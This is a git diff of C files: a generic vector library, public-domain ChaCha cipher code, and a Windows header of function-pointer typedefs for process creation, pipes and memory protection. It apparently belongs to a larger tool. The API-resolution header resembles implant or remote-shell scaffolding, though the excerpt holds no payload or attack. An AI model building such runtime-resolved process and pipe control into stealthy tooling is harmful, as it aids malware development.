} else {
memset(v->data + pos * v->elemSize, 0, v->elemSize);
}
// move the end offset to pos if we grew
if (pos >= v->top) {
v->top = pos + 1;
}
return 1;
}
int Vector_Resize(Vector *v, size_t newcap) {
int oldcap = v->cap;
v->cap = newcap;
v->data = realloc(v->data, v->cap * v->elemSize);
// If we grew:
// put all zeros at the newly realloc'd part of the vector
if (newcap > oldcap) {
int offset = oldcap * v->elemSize;
memset(v->data + offset, 0, v->cap * v->elemSize - offset);
}
return v->cap;
}
Vector *__newVectorSize(size_t elemSize, size_t cap) {
Vector *vec = malloc(sizeof(Vector));
vec->data = calloc(cap, elemSize);
vec->top = 0;
vec->elemSize = elemSize;
vec->cap = cap;
return vec;
}
void Vector_Free(Vector *v) {
free(v->data);
free(v);
}
/* return the used size of the vector, regardless of capacity */
inline int Vector_Size(Vector *v) { return v->top; }
/* return the actual capacity */
inline int Vector_Cap(Vector *v) { return v->cap; }
+73
View File
@@ -0,0 +1,73 @@
#ifndef __VECTOR_H__
#define __VECTOR_H__
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
/*
* Generic resizable vector that can be used if you just want to store stuff
* temporarily.
* Works like C++ std::vector with an underlying resizable buffer
*/
typedef struct {
char *data;
size_t elemSize;
size_t cap;
size_t top;
} Vector;
/* Create a new vector with element size. This should generally be used
* internall by the NewVector macro */
Vector *__newVectorSize(size_t elemSize, size_t cap);
// Put a pointer in the vector. To be used internall by the library
int __vector_PutPtr(Vector *v, size_t pos, void *elem);
/*
* Create a new vector for a given type and a given capacity.
* e.g. NewVector(int, 0) - empty vector of ints
*/
#define NewVector(type, cap) __newVectorSize(sizeof(type), cap)
/*
* get the element at index pos. The value is copied in to ptr. If pos is outside
* the vector capacity, we return 0
* otherwise 1
*/
int Vector_Get(Vector *v, size_t pos, void *ptr);
/* Get the element at the end of the vector, decreasing the size by one */
int Vector_Pop(Vector *v, void *ptr);
//#define Vector_Getx(v, pos, ptr) pos < v->cap ? 1 : 0; *ptr =
//*(typeof(ptr))(v->data + v->elemSize*pos)
/*
* Put an element at pos.
* Note: If pos is outside the vector capacity, we resize it accordingly
*/
#define Vector_Put(v, pos, elem) __vector_PutPtr(v, pos, elem ? &(typeof(elem)){elem} : NULL)
/* Push an element at the end of v, resizing it if needed. This macro wraps
* __vector_PushPtr */
#define Vector_Push(v, elem) __vector_PushPtr(v, elem ? &(typeof(elem)){elem} : NULL)
int __vector_PushPtr(Vector *v, void *elem);
/* resize capacity of v */
int Vector_Resize(Vector *v, size_t newcap);
/* return the used size of the vector, regardless of capacity */
int Vector_Size(Vector *v);
/* return the actual capacity */
int Vector_Cap(Vector *v);
/* free the vector and the underlying data. Does not release its elements if
* they are pointers*/
void Vector_Free(Vector *v);
int __vecotr_PutPtr(Vector *v, size_t pos, void *elem);
#endif
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,224 @@
/*
chacha-merged.c version 20080118
D. J. Bernstein
Public domain.
*/
/* $OpenBSD: chacha_private.h,v 1.2 2013/10/04 07:02:27 djm Exp $ */
#include <stddef.h>
typedef unsigned char u8;
typedef unsigned int u32;
typedef struct
{
u32 input[16]; /* could be compressed */
} chacha_ctx;
#define U8C(v) (v##U)
#define U32C(v) (v##U)
#define U8V(v) ((u8)(v) & U8C(0xFF))
#define U32V(v) ((u32)(v) & U32C(0xFFFFFFFF))
#define ROTL32(v, n) \
(U32V((v) << (n)) | ((v) >> (32 - (n))))
#define U8TO32_LITTLE(p) \
(((u32)((p)[0]) ) | \
((u32)((p)[1]) << 8) | \
((u32)((p)[2]) << 16) | \
((u32)((p)[3]) << 24))
#define U32TO8_LITTLE(p, v) \
do { \
(p)[0] = U8V((v) ); \
(p)[1] = U8V((v) >> 8); \
(p)[2] = U8V((v) >> 16); \
(p)[3] = U8V((v) >> 24); \
} while (0)
#define ROTATE(v,c) (ROTL32(v,c))
#define XOR(v,w) ((v) ^ (w))
#define PLUS(v,w) (U32V((v) + (w)))
#define PLUSONE(v) (PLUS((v),1))
#define QUARTERROUND(a,b,c,d) \
a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \
c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \
a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \
c = PLUS(c,d); b = ROTATE(XOR(b,c), 7);
static const char sigma[16] = "expand 32-byte k";
static const char tau[16] = "expand 16-byte k";
static void
chacha_keysetup(chacha_ctx *x,const u8 *k,u32 kbits,u32 ivbits)
{
const char *constants;
x->input[4] = U8TO32_LITTLE(k + 0);
x->input[5] = U8TO32_LITTLE(k + 4);
x->input[6] = U8TO32_LITTLE(k + 8);
x->input[7] = U8TO32_LITTLE(k + 12);
if (kbits == 256) { /* recommended */
k += 16;
constants = sigma;
} else { /* kbits == 128 */
constants = tau;
}
x->input[8] = U8TO32_LITTLE(k + 0);
x->input[9] = U8TO32_LITTLE(k + 4);
x->input[10] = U8TO32_LITTLE(k + 8);
x->input[11] = U8TO32_LITTLE(k + 12);
x->input[0] = U8TO32_LITTLE(constants + 0);
x->input[1] = U8TO32_LITTLE(constants + 4);
x->input[2] = U8TO32_LITTLE(constants + 8);
x->input[3] = U8TO32_LITTLE(constants + 12);
}
static void
chacha_ivsetup(chacha_ctx *x,const u8 *iv)
{
x->input[12] = 1;
x->input[13] = U8TO32_LITTLE(iv + 0);
x->input[14] = U8TO32_LITTLE(iv + 4);
x->input[15] = U8TO32_LITTLE(iv + 8);
}
static void
chacha_encrypt_bytes(chacha_ctx *x,const u8 *m,u8 *c,u32 bytes)
{
u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15;
u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15;
u8 *ctarget = NULL;
u8 tmp[64];
u32 i;
if (!bytes) return;
j0 = x->input[0];
j1 = x->input[1];
j2 = x->input[2];
j3 = x->input[3];
j4 = x->input[4];
j5 = x->input[5];
j6 = x->input[6];
j7 = x->input[7];
j8 = x->input[8];
j9 = x->input[9];
j10 = x->input[10];
j11 = x->input[11];
j12 = x->input[12];
j13 = x->input[13];
j14 = x->input[14];
j15 = x->input[15];
for (;;) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) tmp[i] = m[i];
m = tmp;
ctarget = c;
c = tmp;
}
x0 = j0;
x1 = j1;
x2 = j2;
x3 = j3;
x4 = j4;
x5 = j5;
x6 = j6;
x7 = j7;
x8 = j8;
x9 = j9;
x10 = j10;
x11 = j11;
x12 = j12;
x13 = j13;
x14 = j14;
x15 = j15;
for (i = 20;i > 0;i -= 2) {
QUARTERROUND( x0, x4, x8,x12)
QUARTERROUND( x1, x5, x9,x13)
QUARTERROUND( x2, x6,x10,x14)
QUARTERROUND( x3, x7,x11,x15)
QUARTERROUND( x0, x5,x10,x15)
QUARTERROUND( x1, x6,x11,x12)
QUARTERROUND( x2, x7, x8,x13)
QUARTERROUND( x3, x4, x9,x14)
}
x0 = PLUS(x0,j0);
x1 = PLUS(x1,j1);
x2 = PLUS(x2,j2);
x3 = PLUS(x3,j3);
x4 = PLUS(x4,j4);
x5 = PLUS(x5,j5);
x6 = PLUS(x6,j6);
x7 = PLUS(x7,j7);
x8 = PLUS(x8,j8);
x9 = PLUS(x9,j9);
x10 = PLUS(x10,j10);
x11 = PLUS(x11,j11);
x12 = PLUS(x12,j12);
x13 = PLUS(x13,j13);
x14 = PLUS(x14,j14);
x15 = PLUS(x15,j15);
#ifndef KEYSTREAM_ONLY
x0 = XOR(x0,U8TO32_LITTLE(m + 0));
x1 = XOR(x1,U8TO32_LITTLE(m + 4));
x2 = XOR(x2,U8TO32_LITTLE(m + 8));
x3 = XOR(x3,U8TO32_LITTLE(m + 12));
x4 = XOR(x4,U8TO32_LITTLE(m + 16));
x5 = XOR(x5,U8TO32_LITTLE(m + 20));
x6 = XOR(x6,U8TO32_LITTLE(m + 24));
x7 = XOR(x7,U8TO32_LITTLE(m + 28));
x8 = XOR(x8,U8TO32_LITTLE(m + 32));
x9 = XOR(x9,U8TO32_LITTLE(m + 36));
x10 = XOR(x10,U8TO32_LITTLE(m + 40));
x11 = XOR(x11,U8TO32_LITTLE(m + 44));
x12 = XOR(x12,U8TO32_LITTLE(m + 48));
x13 = XOR(x13,U8TO32_LITTLE(m + 52));
x14 = XOR(x14,U8TO32_LITTLE(m + 56));
x15 = XOR(x15,U8TO32_LITTLE(m + 60));
#endif
j12 = PLUSONE(j12);
if (!j12) {
j13 = PLUSONE(j13);
/* stopping at 2^70 bytes per nonce is user's responsibility */
}
U32TO8_LITTLE(c + 0,x0);
U32TO8_LITTLE(c + 4,x1);
U32TO8_LITTLE(c + 8,x2);
U32TO8_LITTLE(c + 12,x3);
U32TO8_LITTLE(c + 16,x4);
U32TO8_LITTLE(c + 20,x5);
U32TO8_LITTLE(c + 24,x6);
U32TO8_LITTLE(c + 28,x7);
U32TO8_LITTLE(c + 32,x8);
U32TO8_LITTLE(c + 36,x9);
U32TO8_LITTLE(c + 40,x10);
U32TO8_LITTLE(c + 44,x11);
U32TO8_LITTLE(c + 48,x12);
U32TO8_LITTLE(c + 52,x13);
U32TO8_LITTLE(c + 56,x14);
U32TO8_LITTLE(c + 60,x15);
if (bytes <= 64) {
if (bytes < 64) {
for (i = 0;i < bytes;++i) ctarget[i] = c[i];
}
x->input[12] = j12;
x->input[13] = j13;
return;
}
bytes -= 64;
c += 64;
#ifndef KEYSTREAM_ONLY
m += 64;
#endif
}
}
@@ -0,0 +1,136 @@
#ifndef _KERNEL_UTIL
#define _KERNEL_UTIL
typedef BOOL (WINAPI *FuncCreateProcess) (
LPCTSTR lpApplicationName,
LPTSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory,
LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
typedef BOOL (WINAPI *FuncSetHandleInformation)
(
HANDLE hObject,
DWORD dwMask,
DWORD dwFlags
);
typedef BOOL (WINAPI *FuncReadFile)
(
HANDLE hFile,
LPVOID lpBuffer,
DWORD nNumberOfBytesToRead,
LPDWORD lpNumberOfBytesToRead,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncWriteFile)
(
HANDLE hFile,
LPCVOID lpBuffer,
DWORD nNumberOfBytesToWrite,
LPDWORD lpNumberOfBytesWritten,
LPOVERLAPPED lpOverlapped
);
typedef BOOL (WINAPI *FuncPeekNamedPipe)
(
HANDLE hNamedPipe,
LPVOID lpBuffer,
DWORD nBufferSize,
LPDWORD nBytesRead,
LPDWORD lpTotalBytesAvailable,
LPDWORD lpBytesLeftThisMessage
);
typedef BOOL (WINAPI *FuncCreatePipe)
(
PHANDLE hReadPipe,
PHANDLE hWritePipe,
LPSECURITY_ATTRIBUTES lpPipeAttributes,
DWORD nSize
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef HGLOBAL (WINAPI *FuncGlobalAlloc)
(
UINT uFlags,
SIZE_T dwBytes
);
typedef HGLOBAL (WINAPI *FuncGlobalFree)
(
HGLOBAL hMem
);
typedef HANDLE (WINAPI *FuncHeapCreate)
(
DWORD flOptions,
SIZE_T dwInitialize,
SIZE_T dwMaximumSize
);
typedef LPVOID (WINAPI *FuncHeapAlloc)
(
HANDLE hHeap,
DWORD dwFlags,
SIZE_T dwBytes
);
typedef VOID (WINAPI *FuncSleep)
(
DWORD dwMilliseconds
);
typedef HANDLE (WINAPI *FuncGetCurrentProcess) ();
typedef BOOL (WINAPI *FuncGetExitCodeProcess)
(
HANDLE hProcess,
LPDWORD lpExitCode
);
typedef VOID (WINAPI *FuncExitProcess)
(
UINT uExitCode
);
typedef BOOL (WINAPI *FuncCloseHandle)
(
HANDLE hObject
);
typedef BOOL (WINAPI *FuncVirtualProtect)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
typedef LPVOID (WINAPI *FuncVirtualAlloc)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
typedef BOOL (WINAPI *FuncVirtualFree)
(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD dwFreeType
);
#endif

Some files were not shown because too many files have changed in this diff Show More